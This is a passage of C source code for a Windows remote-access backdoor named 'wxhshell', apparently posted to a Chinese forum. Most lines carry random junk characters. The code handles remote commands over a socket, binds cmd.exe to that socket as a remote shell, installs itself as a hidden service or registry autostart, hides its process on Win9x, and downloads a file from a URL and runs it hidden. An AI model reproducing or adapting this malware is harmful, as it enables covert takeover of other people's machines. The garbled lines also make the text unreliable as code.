  else pXT4)JDpc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BOb">6C  
  } Ga-k  
  else { zH?!  
}l(&}#dY  
    switch(cmd[0]) { #l\=}#\1Wb  
  qOIyub  
  // 帮助 8\@m - E!{  
  case '?': { b$d;Qx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]}<}lI9  
    break; P%V'4p c  
  } >\-hO&%_  
  // 安装 <.x{|p  
  case 'i': { >Eyt17_H"n  
    if(Install()) |sJ[0z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -]N x,{  
    else .KB^3pOpx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n$MO4s8)  
    break; KB3Htw%W[+  
    } G, }Yl  
  // 卸载 Avge eJi  
  case 'r': { <prk8jSWV  
    if(Uninstall()) !P2ro~0/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uanhr)Ys  
    else I13y6= d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zq 3\}9  
    break; -V*R\,>  
    } .Yamc#A-  
  // 显示 wxhshell 所在路径 5N#aXG^9  
  case 'p': { JinUV6cr  
    char svExeFile[MAX_PATH]; 8 `v-<J  
    strcpy(svExeFile,"\n\r"); gldAP:  
      strcat(svExeFile,ExeFile); aj-Km`5r}  
        send(wsh,svExeFile,strlen(svExeFile),0); -vAC"8)S  
    break; u4*BX&  
    }  g T6z9  
  // 重启 S^JbyD_yoh  
  case 'b': { E'f{i:O "~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y B81f  
    if(Boot(REBOOT)) u%GEqruo[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pN, u`[  
    else { +WZX.D  
    closesocket(wsh); F0m-23[H  
    ExitThread(0); Ucb F|vkI  
    } . o6Or:L  
    break; h,(26 y/s  
    } :^<3>zk  
  // 关机 bS{bkE>  
  case 'd': { ;_XFo&@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8:q1~`?5"b  
    if(Boot(SHUTDOWN)) b35fs]}u-6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j\ZXG=j  
    else { \Zb;'eDv  
    closesocket(wsh); Hkg2P ,2  
    ExitThread(0); m%0p\Y-/  
    } i}(LqcYU  
    break; A_rG t?i  
    } .w:DFk^E]b  
  // 获取shell ~ \r*  
  case 's': { uIY#e<)}G  
    CmdShell(wsh); "6A ` q\  
    closesocket(wsh); #j;^\rSv-  
    ExitThread(0); v<k?Vu  
    break; 2bz2KB5>  
  } >:SHV W  
  // 退出 k``_EiV4t  
  case 'x': { y4yhF8E>;U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A]*}HZ ,  
    CloseIt(wsh); @?ebuj5{e  
    break; pR<`H'  
    } cUk7i`M;6  
  // 离开 *9 {PEx  
  case 'q': { n>z9K')  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sVQ|*0(J0r  
    closesocket(wsh); t6rRU~;}  
    WSACleanup(); <(#(hDwy  
    exit(1); g_E$=j92v  
    break; >\R+9p:o  
        } _IMW {  
  } $B+8Of  
  } SZ7:u895E  
a"1t-x  
  // 提示信息 T}Tp$.gB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N>uRf0E>  
} 2F;y;l%  
  } $V;i '(&7  
8bGd} (  
  return; E*& vy  
} B^=-Z8  
m[osg< CR_  
// shell模块句柄 cdH>n)  
int CmdShell(SOCKET sock) !vi> U|rh  
{ e)IzQ7Zex  
STARTUPINFO si; >tS'Q`R  
ZeroMemory(&si,sizeof(si)); J`Q>3] wL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HdI8f!X'TG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !<|4C6X:4  
PROCESS_INFORMATION ProcessInfo; NSMyliM1Y  
char cmdline[]="cmd"; \<h0Q,e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7O2/z:$f  
  return 0; wSL}`CgU  
} ?5__oT  
H H)!_(SA  
// 自身启动模式 !.$I["/=  
int StartFromService(void) )CYGQMK  
{ <V'@ks%  
typedef struct lgAoJ[  
{ P;y45b  
  DWORD ExitStatus; CT@ jZtg0  
  DWORD PebBaseAddress; sjTZF-  
  DWORD AffinityMask; :k]1Lm||  
  DWORD BasePriority; umfD>" ^I  
  ULONG UniqueProcessId; Xq4O@V  
  ULONG InheritedFromUniqueProcessId; fb7;|LF  
}   PROCESS_BASIC_INFORMATION; 2szPAuN+  
z kP_6T09  
PROCNTQSIP NtQueryInformationProcess; SGRp3,1\4%  
FkDmP`Od  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;C#F>SG\S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,pfG  
P8 c`fbkX2  
  HANDLE             hProcess; 9=M$AB  
  PROCESS_BASIC_INFORMATION pbi; 7"D", 1h  
Kn{4;Xk\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8%mu8l  
  if(NULL == hInst ) return 0; P5V}#;v  
/HEw-M9z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2nObl'ec  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k'Hs}zeNn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M?49TOQA  
<}Vrl`?h  
  if (!NtQueryInformationProcess) return 0; rKc9b<Ir  
?81c 4w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *Q.>-J<S  
  if(!hProcess) return 0; zk+9'r`-D  
}tu C}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <=&`ZH   
{WS;dX4  
  CloseHandle(hProcess); jd"@t*ZV  
 A@('pA85  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S+6.ZZ9c  
if(hProcess==NULL) return 0; Oszj$C(jF  
1H`,WQ1mG  
HMODULE hMod; Kw^7>\  
char procName[255]; # w4-aJ  
unsigned long cbNeeded; Ee#q9Cx^J  
Uc>lGo1j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I@N8gn  
I 34>X`[o  
  CloseHandle(hProcess); C.P*#_R  
E]d. z6k  
if(strstr(procName,"services")) return 1; // 以服务启动 Yh7t"=o  
MN>b7O \.?  
  return 0; // 注册表启动 cVpp-Z|s8  
} 1GRCV8 "Z^  
JR|ck=tq  
// 主模块 q?:dCFw$x5  
int StartWxhshell(LPSTR lpCmdLine) (WJRi:NP?  
{ _f,C[C[e&  
  SOCKET wsl; BlO<PMmhT&  
BOOL val=TRUE; kZ:ZtE  
  int port=0; qR{=pR  
  struct sockaddr_in door; Fo_sgv8O<  
ajT*/L!0_  
  if(wscfg.ws_autoins) Install(); kD%( _K5  
0+ '&`Q!u  
port=atoi(lpCmdLine); -2[a2^a'  
>=>2m2z=  
if(port<=0) port=wscfg.ws_port; b|DdG/O  
+sA2WK]  
  WSADATA data; +\A,&;!SR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^ @5QP$.  
;'K5J9k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]6` %  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J@'wf8Ub  
  door.sin_family = AF_INET; aXYY:;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3$R1ipb  
  door.sin_port = htons(port); BU_nh+dF  
x9g#<2w8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SH$PwJU  
closesocket(wsl); m(!FHPvN  
return 1; fr3d  
} )10+@d  
4VSU8tK|N]  
  if(listen(wsl,2) == INVALID_SOCKET) { KpGhQdR#  
closesocket(wsl); ~0$&3a<n1  
return 1; pnOAs&QAm  
} eauF ~md,  
  Wxhshell(wsl); t{96p77)=  
  WSACleanup(); i.m^/0!  
uXvtfc  
return 0; /4Gt{yg Sr  
p5iuYHKk?  
} .q>iXE_c  
vs4>T^8e  
// 以NT服务方式启动 T~e.PP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GTd,n=  
{ 0(HU}I  
DWORD   status = 0; 7. oM J  
  DWORD   specificError = 0xfffffff; 4hj|cCrO  
0H:X3y+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;Y, y4{H3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W<g1<z\f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M= (u]%\  
  serviceStatus.dwWin32ExitCode     = 0; ;V!D :5U  
  serviceStatus.dwServiceSpecificExitCode = 0; Dd|VMW=  
  serviceStatus.dwCheckPoint       = 0; &D<yX~  
  serviceStatus.dwWaitHint       = 0; zb3t IRH  
? J0y|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g_bLl)g<  
  if (hServiceStatusHandle==0) return; oB7_O-3z  
R|(a@sL  
status = GetLastError(); Le^ n +5x  
  if (status!=NO_ERROR) jP.dDYc  
{ =3P)q"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !N^@4*  
    serviceStatus.dwCheckPoint       = 0; ;uGv:$([g  
    serviceStatus.dwWaitHint       = 0; Vurq t_nb  
    serviceStatus.dwWin32ExitCode     = status; "AqB$^S9t  
    serviceStatus.dwServiceSpecificExitCode = specificError; LS[]=Mk@1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u ga_T  
    return; 2=}FBA,2  
  } 4xj4=C~i  
*-X[u:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c71y'hnT  
  serviceStatus.dwCheckPoint       = 0; | -H& o]  
  serviceStatus.dwWaitHint       = 0; HzJz+ x:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |7~<Is~ *  
} |w=zOC;v  
3so %gvY.'  
// 处理NT服务事件,比如:启动、停止 %yC,^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /$m;y[[  
{ 9gIrt 6  
switch(fdwControl) yhJ@(tu.Gd  
{ Ny# ^&-K  
case SERVICE_CONTROL_STOP: 5h*p\cl!Y  
  serviceStatus.dwWin32ExitCode = 0; rm_Nn8p,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;.C\Ss<>*  
  serviceStatus.dwCheckPoint   = 0; <UCl@5g&  
  serviceStatus.dwWaitHint     = 0; %iB,IEw  
  { j<$2hiI/?&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2an f$^[  
  } ssL\g`xe  
  return; \)e'`29;  
case SERVICE_CONTROL_PAUSE: w-jVC^C]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Bw.i}3UT6  
  break; CC`JZ.SO  
case SERVICE_CONTROL_CONTINUE: I1J-)R+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v[<T]1=LRC  
  break; a'T;x`b8U,  
case SERVICE_CONTROL_INTERROGATE: pCG}Z Ka  
  break; qP ,EBE  
}; ~#/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9BB=YnKE  
} y7<|_:00  
TA\vZGJ('  
// 标准应用程序主函数 k7^5Bp8=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TqQ[_RKg2  
{ + T+#q@  
4ppz,L,4  
// 获取操作系统版本 {RPI]DcO/  
OsIsNt=GetOsVer(); EX"yxZ~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QV8g#&z  
/_.|E]  
  // 从命令行安装 jWgX_//!  
  if(strpbrk(lpCmdLine,"iI")) Install(); VN.Je: Ju  
iDD$pd,e\  
  // 下载执行文件 z9"U!A4  
if(wscfg.ws_downexe) { `@%LzeGz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )B*t :tN  
  WinExec(wscfg.ws_filenam,SW_HIDE); HKeK<V  
} =|9!vzG4  
 5twhm  
if(!OsIsNt) { H*6W q  
// 如果时win9x,隐藏进程并且设置为注册表启动 A(XKyEx  
HideProc(); Xc.`-J~Il  
StartWxhshell(lpCmdLine); ABkl%m6xf  
} d5-qZ{W  
else ,//S`j$S  
  if(StartFromService()) 0 "#HJA44  
  // 以服务方式启动 1*7@BP5  
  StartServiceCtrlDispatcher(DispatchTable); ( 5~h"s  
else 2zpr~cB=  
  // 普通方式启动 tp|d*7^i  
  StartWxhshell(lpCmdLine); <N @Gu!N8  
z%kULTL  
return 0; t,' <gI  
}
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只看该作者 1 发表于: 2006-10-10
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